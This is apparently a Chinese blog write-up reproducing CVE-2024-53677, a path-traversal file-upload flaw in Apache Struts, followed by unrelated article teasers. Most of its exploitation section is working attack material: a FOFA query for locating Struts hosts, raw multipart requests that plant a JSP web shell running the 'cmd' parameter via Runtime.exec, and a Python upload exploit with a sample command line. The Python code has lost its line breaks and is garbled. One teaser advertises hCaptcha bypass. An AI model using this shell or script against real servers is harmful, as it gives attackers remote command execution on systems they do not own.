ps做网站的分辨率多少/最新的国际新闻
目录
- 什么是struts?
- CVE-2024-53677
- 简介
- 影响版本
- 复现环境搭建
- 漏洞利用
- 修复
什么是struts?
在早期的 Java Web 开发中,代码往往混乱不堪,难以维护和扩展。比如,一个简单的用户登录功能,可能在不同的 Java 类、JSP 页面中到处散落着处理逻辑、数据验证等代码。Struts 框架就是为了解决这些问题而诞生的,它让开发人员能够更有条理地组织代码,提高开发效率和代码的可维护性。
百度百科:
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
核心组件
ActionServlet:它是 Struts 框架的核心控制器,就像是一个交通指挥员。所有来自客户端的请求都会先经过它,它会根据请求的信息来决定要调用哪个具体的处理程序。
Action:这是用来处理具体业务逻辑的部分。比如用户注册、登录等操作,都有对应的 Action 来处理。它接收从页面传递过来的数据,进行相应的处理,然后决定下一步该做什么,比如是跳转到成功页面还是返回错误提示。
Struts 配置文件:通常是 struts-config.xml,它就像是一个地图,告诉框架各个组件之间的关系和如何进行配置。比如哪个 URL 对应哪个 Action,Action 处理完后要跳转到哪个页面等,都在这个文件里进行配置。
工作原理
当用户在浏览器中输入一个 URL 或者点击一个链接、提交一个表单时,请求就会发送到服务器。
服务器上的 ActionServlet 接收到请求后,会根据 Struts 配置文件来解析这个请求,找到对应的 Action。
然后 ActionServlet 会把请求交给对应的 Action 去处理。Action 会从请求中获取用户输入的数据,进行业务逻辑处理,比如验证数据的合法性、查询数据库等。
Action 处理完后,会返回一个结果,这个结果也是在 Struts 配置文件中定义好的,告诉 ActionServlet 下一步该跳转到哪个页面。
最后,ActionServlet 根据返回的结果,将相应的页面返回给用户,用户就可以在浏览器中看到最终的显示效果。
应用场景
企业级应用开发:很多大型企业的业务系统,像人力资源管理系统、财务管理系统等,都可以用 Struts 框架来开发。因为这些系统通常有复杂的业务逻辑和大量的用户交互,Struts 框架可以很好地组织和管理这些功能。
Web 应用程序开发:各种类型的网站,比如电商网站、新闻网站等,也经常会用到 Struts 框架。它可以帮助开发人员快速搭建网站的架构,实现用户注册登录、商品展示、新闻发布等功能。
CVE-2024-53677
简介
CVE-2024-53677 是 Apache Struts 框架中存在的严重远程代码执行漏洞,CVSS 评分为 9.5。该漏洞源于框架文件上传逻辑缺陷,攻击者可操纵文件上传参数,利用路径遍历将恶意文件上传至服务器其他位置,若服务器对文件类型检测不严格,就可触发远程代码执行
影响版本
2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2
- fofa语句
app="Struts2"
复现环境搭建
git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action
这边我复现的时候因为docker网络问题拉不下镜像,就换了几个镜像源。然后我是映射本地的8081端口而不是8080
漏洞利用
上传一个txt文件,打开上传后的图片链接。发现上传路径是/uploads/
然后上传1.jsp,也上传成功,但是访问的时候报500错误。不过后面还是利用成功。
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>-----------------------------338492666920734954652406641204--
CVE-2024-53677 可以绕过上传路径到网址根目录下
原理分析可以看Y4师傅的文章https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/
现在构造数据包上传test.jsp
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";../test.jsp
-----------------------------338492666920734954652406641204--
由于用burp抓包后不知道为什么连接不上靶机,我就用yakit了
然后访问
捡一个大佬的脚本
import requests
import argparse
import osdef send_post_request(url, filename_value, file_path, file_type):# 读取文件内容with open(file_path, 'r') as f:file_content = f.read()# 设置请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',}# 设置 multipart/form-datafiles = {'Upload': (os.path.basename(file_path), file_content, 'text/html'),}# 设置字段参数,根据 -type 选择上传单文件还是多文件if file_type == 's':data = {'top.uploadFileName': filename_value,}elif file_type == 'm':data = {'uploadFileName[0]': filename_value,}else:raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")# 发送POST请求response = requests.post(url, headers=headers, files=files, data=data)# 输出响应结果print(f"Response Status Code: {response.status_code}")print(response.text)def main():# 设置命令行参数parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')parser.add_argument('-u', '--url', required=True, help='upload aciton url')parser.add_argument('-filename', required=True, help='filename with path traversal')parser.add_argument('-file', required=True, help='evil file to be uploaded')parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")# 解析参数args = parser.parse_args()# 发送POST请求send_post_request(args.url, args.filename, args.file, args.type)if __name__ == '__main__':main()
配套jsp
<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s
搜到一个有脚本的文章https://blog.csdn.net/2202_75361164/article/details/144578662,大家可以去看看
修复
将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。
参考:
https://www.freebuf.com/vuls/418053.html
相关文章:

中间件漏洞之CVE-2024-53677
目录 什么是struts?CVE-2024-53677简介影响版本复现环境搭建漏洞利用修复 什么是struts? 在早期的 Java Web 开发中,代码往往混乱不堪,难以维护和扩展。比如,一个简单的用户登录功能,可能在不同的 Java 类…...

pytorch基于 Transformer 预训练模型的方法实现词嵌入(tiansz/bert-base-chinese)
以下是一个完整的词嵌入(Word Embedding)示例代码,使用 modelscope 下载 tiansz/bert-base-chinese 模型,并通过 transformers 加载模型,获取中文句子的词嵌入。 from modelscope.hub.snapshot_download import snaps…...

Windows电脑本地部署运行DeepSeek R1大模型(基于Ollama和Chatbox)
文章目录 一、环境准备二、安装Ollama2.1 访问Ollama官方网站2.2 下载适用于Windows的安装包2.3 安装Ollama安装包2.4 指定Ollama安装目录2.5 指定Ollama的大模型的存储目录 三、选择DeepSeek R1模型四、下载并运行DeepSeek R1模型五、常见问题解答六、使用Chatbox进行交互6.1 …...

区间覆盖问题
文章目录 1. 题面2. 简单分析3. 代码解答4. TLE的2点可能 1. 题面 给定 N N N个区间 [ a i , b i ] [a_i,b_i] [ai,bi] 以及一个区间 [ s , t ] [s,t] [s,t],请你选择尽量少的区间,将指定区间完全覆盖。 输出最少区间数,如果无法完全…...

【LLM-agent】(task2)用llama-index搭建AI Agent
note LlamaIndex 实现 Agent 需要导入 ReActAgent 和 Function Tool,循环执行:推理、行动、观察、优化推理、重复进行。可以在 arize_phoenix 中看到 agent 的具体提示词,工具被装换成了提示词ReActAgent 使得业务自动向代码转换成为可能&am…...

SpringAI 人工智能
随着 AI 技术的不断发展,越来越多的企业开始将 AI 模型集成到其业务系统中,从而提升系统的智能化水平、自动化程度和用户体验。在此背景下,Spring AI 作为一个企业级 AI 框架,提供了丰富的工具和机制,可以帮助开发者将…...

【axios二次封装】
axios二次封装 安装封装使用 安装 pnpm add axios封装 // 进行axios二次封装:使用请求与响应拦截器 import axios from axios import { ElMessage } from element-plus//创建axios实例 const request axios.create({baseURL: import.meta.env.VITE_APP_BASE_API,…...

P7497 四方喝彩 Solution
Description 给定序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1,a2,⋯,an),有 m m m 个操作,分四种: add ( l , r , v ) \operatorname{add}(l,r,v) add(l,r,v):对于所有 i ∈ [ l , r ] i \in [l,r…...

深入剖析 Bitmap 数据结构:原理、应用与优化策略
深入理解 Bitmap 数据结构 一、引言 在计算机科学领域,数据的高效存储和快速处理一直是核心问题。随着数据量的不断增长,如何用最少的空间和最快的速度来表示和操作数据变得至关重要。Bitmap(位图)作为一种简洁而强大的数据结构…...

bypass hcaptcha、hcaptcha逆向
可以过steam,已支持并发,欢迎询问! 有事危,ProfessorLuoMing...

WebForms DataList 深入解析
WebForms DataList 深入解析 引言 在Web开发领域,控件是构建用户界面(UI)的核心组件。ASP.NET WebForms框架提供了丰富的控件,其中DataList控件是一个灵活且强大的数据绑定控件。本文将深入探讨WebForms DataList控件的功能、用法以及在实际开发中的应用。 DataList控件…...

C# List 列表综合运用实例⁓Hypak原始数据处理编程小结
C# List 列表综合运用实例⁓Hypak原始数据处理编程小结 1、一个数组解决很麻烦引出的问题1.1、RAW 文件尾部数据如下:1.2、自定义标头 ADD 或 DEL 的数据结构如下: 2、程序 C# 源代码的编写和剖析2.1、使用 ref 关键字,通过引用将参数传递,以…...

【C++基础】字符串/字符读取函数解析
最近在学C以及STL,打个基础 参考: c中的char[] ,char* ,string三种字符串变量转化的兼容原则 c读取字符串和字符的6种函数 字符串结构 首先明确三种字符串结构的兼容关系:string>char*>char [] string最灵活,内置增删查改…...

大模型-CLIP 详细介绍
CLIP简介 CLIP(Contrastive Language–Image Pre-training)是由OpenAI在2021年提出的一种多模态机器学习模型。它旨在通过大量的文本-图像对进行训练,从而学会理解图像内容,并能将这些内容与相应的自然语言描述相匹配。CLIP的核心…...

1.4 Go 数组
一、数组 1、简介 数组是切片的基础 数组是一个固定长度、由相同类型元素组成的集合。在 Go 语言中,数组的长度是类型的一部分,因此 [5]int 和 [10]int 是两种不同的类型。数组的大小在声明时确定,且不可更改。 简单来说,数组…...

WebSocket——环境搭建与多环境配置
一、前言:为什么要使用多环境配置? 在开发过程中,我们通常会遇到多个不同的环境,比如开发环境(Dev)、测试环境(Test)、生产环境(Prod)等。每个环境的配置和需…...

三、递推关系与母函数,《组合数学(第4版)》卢开澄 卢华明
文章目录 一、似函数、非函数1.1 母函数1.2 母函数的简单应用1.3 整数拆分1.4 Ferrers 图像1.5 母函数能做什么1.6 递推关系1.6.1 Hanoi 问题1.6.2 偶数个5怎么算 1.7 Fibonacci 序列1.7.1 Fibonacci 的奇妙性质1.7.2 Fibonacci 恒等式1.7.3 Fibonacci 的直接表达式1.7.4 Fibon…...

线程互斥同步
前言: 简单回顾一下上文所学,上文我们最重要核心的工作就是介绍了我们线程自己的LWP和tid究竟是个什么,总结一句话,就是tid是用户视角下所认为的概念,因为在Linux系统中,从来没有线程这一说法,…...

DeepSeek R1 AI 论文翻译
摘要 原文地址: DeepSeek R1 AI 论文翻译 我们介绍了我们的第一代推理模型,DeepSeek-R1-Zero 和 DeepSeek-R1。 DeepSeek-R1-Zero 是一个通过大规模强化学习(RL)训练的模型,且在此过程中未使用监督微调(…...

如何计算态势感知率?
态势感知率(Situational Awareness Rate)的计算通常需要结合具体应用场景和定义目标,通常涉及对感知、理解、预测三个层次的量化分析。不同领域(如网络安全、军事、工业控制等)可能有不同的量化方式。通用思路和常见方…...

二、CSS笔记
(一)css概述 1、定义 CSS是Cascading Style Sheets的简称,中文称为层叠样式表,用来控制网页数据的表现,可以使网页的表现与数据内容分离。 2、要点 怎么找到标签怎么操作标签对象(element) 3、css的四种引入方式 3.1 行内式 在标签的style属性中设定CSS样式。这种方…...

Alibaba开发规范_异常日志之日志规约:最佳实践与常见陷阱
文章目录 引言1. 使用SLF4J日志门面规则解释代码示例正例反例 2. 日志文件的保存时间规则解释 3. 日志文件的命名规范规则解释代码示例正例反例 4. 使用占位符进行日志拼接规则解释代码示例正例反例 5. 日志级别的开关判断规则解释代码示例正例反例 6. 避免重复打印日志规则解释…...

使用istio实现权重路由
istio概述 **概述:**Istio 是一个开源的 服务网格(Service Mesh)解决方案,主要用于管理、保护和监控微服务架构中的服务通信。它为微服务提供了基础设施层的控制功能,不需要更改应用程序的代码,从而解决服…...

M. Triangle Construction
题目链接:Problem - 1906M - Codeforces 题目大意:给一个 n 边形, 每一个边上有a[ i ] 个点, 在此多边形上求可以连的三角形有多少个, 每个点只能用一次。 输入: 第一行是一个整数 N ( 3 ≤ N ≤ 200000…...

每天学点小知识之设计模式的艺术-策略模式
行为型模式的名称、定义、学习难度和使用频率如下表所示: 1.如何理解模板方法模式 模板方法模式是结构最简单的行为型设计模式,在其结构中只存在父类与子类之间的继承关系。通过使用模板方法模式,可以将一些复杂流程的实现步骤封装在一系列基…...

机试题——到邻国目标城市的最短距离
题目描述 A国与B国是相邻的两个国家,每个国家都有很多城市。国家内部有很多连接城市的公路,国家之间也有很多跨国公路,连接两个国家的边界城市。两个国家一共有N个城市,编号从1到N,一共有M条公路,包括国内…...

Python + Tkinter + pyttsx3实现的桌面版英语学习工具
Python Tkinter pyttsx3实现的桌面版英语学习工具 在多行文本框输入英文句子,双击其中的英文单词,给出英文读音和中文含义和音标。 本程序查询本地词典数据。通过菜单栏"文件"->"打开词典编辑器"进入编辑界面。 词典数据存储…...

【Vite + Vue + Ts 项目三个 tsconfig 文件】
Vite Vue Ts 项目三个 tsconfig 文件 为什么 Vite Vue Ts 项目会有三个 tsconfig 文件?首先我们先了解什么是 tsconfig.json ? 为什么 Vite Vue Ts 项目会有三个 tsconfig 文件? 在使用 Vite 创建 vue-ts 模板的项目时,会发现除了 ts…...

AI时代IT行业职业方向规划大纲
一、引言 AI时代的颠覆性影响 ChatGPT、Midjourney等生成式AI对传统工作模式的冲击 案例:AI编程助手(GitHub Copilot)改变开发者工作流程 核心问题:IT从业者如何避免被AI替代,并找到新机遇? 二、AI时代…...

Mac M1 Comfyui 使用MMAudio遇到的问题解决?
问题1: AssertionError: Torch not compiled with CUDA enabled? 解决办法:修改代码以 CPU 运行 第一步:找到 /ComfyUI/custom_nodes/ComfyUI-MMAudio/mmaudio/ext/autoencoder/vae.py文件中的下面这两行代码 self.data_mean nn.Buffer(t…...